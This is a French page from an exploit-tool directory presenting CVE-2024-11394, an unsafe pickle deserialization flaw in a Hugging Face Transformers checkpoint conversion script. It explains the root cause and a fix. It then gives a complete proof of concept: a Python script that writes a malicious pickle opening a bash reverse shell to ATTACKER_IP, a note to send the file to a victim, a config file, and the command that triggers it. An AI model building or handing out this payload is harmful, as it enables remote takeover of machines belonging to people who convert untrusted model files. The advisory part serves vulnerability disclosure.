Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2024-11394 — Détails techniques et exploit pour CVE-2024-11394 | Kitploit
Outils/GitHubGitHub/piyush-bhor/cve-2024-11394
Génération de PayloadsAnalyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationSécurité de l'IA
GitHubpiyush-bhor/cve-2024-11394

CVE-2024-11394

Détails techniques et exploit pour CVE-2024-11394

Voir le dépôt
il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2024-11394

Vulnérabilité d'exécution de code à distance par désérialisation de données non fiables dans le modèle Trax de Hugging Face Transformers

Aperçu général et effets de la vulnérabilité :
La vulnérabilité permet à un attaquant d'exécuter du code arbitraire sur la machine hôte en fournissant un fichier de point de contrôle reformer trax malveillant au script convert_reformer_trax_checkpoint_to_pytorch.py du dépôt Hugging Face Transformers.
Si un utilisateur peu méfiant utilise un fichier de point de contrôle reformer trax tiers, l'exécution du script convert_reformer_trax_checkpoint_to_pytorch.py entraînera une exécution de code à distance (RCE) sur le système de la victime.

Le produit vulnérable

  • Produit : Hugging Face Transformers
  • Module : Reformer
  • Fichier : transformers/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py
  • Version : Dernière
  • Lien GitHub permanent : https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py

Analyse de la cause racine

  • Description détaillée de la vulnérabilité : La vulnérabilité résulte d'une désérialisation non sécurisée de données non fiables. Le script utilise pickle.load pour charger le fichier de point de contrôle et est vulnérable à l'exécution de code.

  • Flux de code de l'entrée à la condition vulnérable :

  1. L'utilisateur télécharge un modèle reformer trax tiers.
  2. L'utilisateur exécute le script convert_reformer_trax_checkpoint_to_pytorch.py et lui transmet le fichier de point de contrôle.
  3. Le script convert_reformer_trax_checkpoint_to_pytorch.py désérialise le fichier de point de contrôle et exécute le code malveillant.
  • Point d'injection : La vulnérabilité se produit au moment où pickle.load est appelé. Lien GitHub permanent : https://github.com/huggingface/transformers/blob/c8c8dffbe45ebef0a8dba4a51024e5e5e498596b/src/transformers/models/reformer/convert_reformer_trax_checkpoint_to_pytorch.py#L192

  • Corrections suggérées : Remplacer pickle.load par yaml.safe_load(yaml_file) ou json.load pour empêcher l'exécution de code arbitraire.

  • Instructions pour exécuter la preuve de concept :

  1. Exécutez exploit.py pour créer un fichier pickle malveillant malicious.pkl qui établira un shell inverse sur le système de la victime :
root@kitploit:~
# exploit.py

import pickle  
import os   
  
class Exploit:  
    def __reduce__(self):  
        return (os.system, ('bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1',))  
  
malicious_data = pickle.dumps(Exploit())  
with open('malicious.pkl', 'wb') as f:  
    f.write(malicious_data)  
  
print("Fichier pickle malveillant créé avec succès.")

Remarque : Modifiez ATTACKER_IP et ATTACKER_PORT avant d'envoyer le fichier à la victime.

  1. Créez un fichier de configuration config.json :
root@kitploit:~
{  
    "attention_head_size": 64,  
    "attention_probs_dropout_prob": 0.1,  
    "attn_layers": [  
      "local",  
      "lsh",  
      "local",  
      "lsh",  
      "local",  
      "lsh"  
    ],  
    "axial_norm_std": 1.0,  
    "axial_pos_embds": true,  
    "axial_pos_embds_dim": [  
      64,  
      960  
    ],  
    "axial_pos_shape": [  
      64,  
      64  
    ],  
    "chunk_size_lm_head": 0,  
    "classifier_dropout": null,  
    "eos_token_id": 2,  
    "feed_forward_size": 512,  
    "hash_seed": null,  
    "hidden_act": "relu",  
    "hidden_dropout_prob": 0.1,  
    "hidden_size": 1024,  
    "initializer_range": 0.02,  
    "is_decoder": true,  
    "layer_norm_eps": 1e-12,  
    "local_attention_probs_dropout_prob": 0.05,  
    "local_attn_chunk_length": 64,  
    "local_num_chunks_after": 0,  
    "local_num_chunks_before": 1,  
    "lsh_attention_probs_dropout_prob": 0.0,  
    "lsh_attn_chunk_length": 64,  
    "lsh_num_chunks_after": 0,  
    "lsh_num_chunks_before": 1,  
    "max_position_embeddings": 4096,  
    "model_type": "reformer",  
    "num_attention_heads": 16,  
    "num_buckets": null,  
    "num_hashes": 1,  
    "num_hidden_layers": 6,  
    "pad_token_id": 0,  
    "tie_word_embeddings": false,  
    "transformers_version": "4.42.4",  
    "type_vocab_size": 2,  
    "use_cache": true,  
    "vocab_size": 30522  
  }
  1. Exécutez le script convert_reformer_trax_checkpoint_to_pytorch.py et transmettez le fichier malicious.pkl à --trax_model_pkl_path :
root@kitploit:~
> python convert_reformer_trax_checkpoint_to_pytorch.py --trax_model_pkl_path malicious.pkl --config_file config.json --pytorch_dump_path .

Remarque : Le pytorch_dump_folder_path peut être défini sur n'importe quel répertoire.

Lien de téléchargement du logiciel :
https://github.com/huggingface/transformers/tree/main

Télécharger l’outil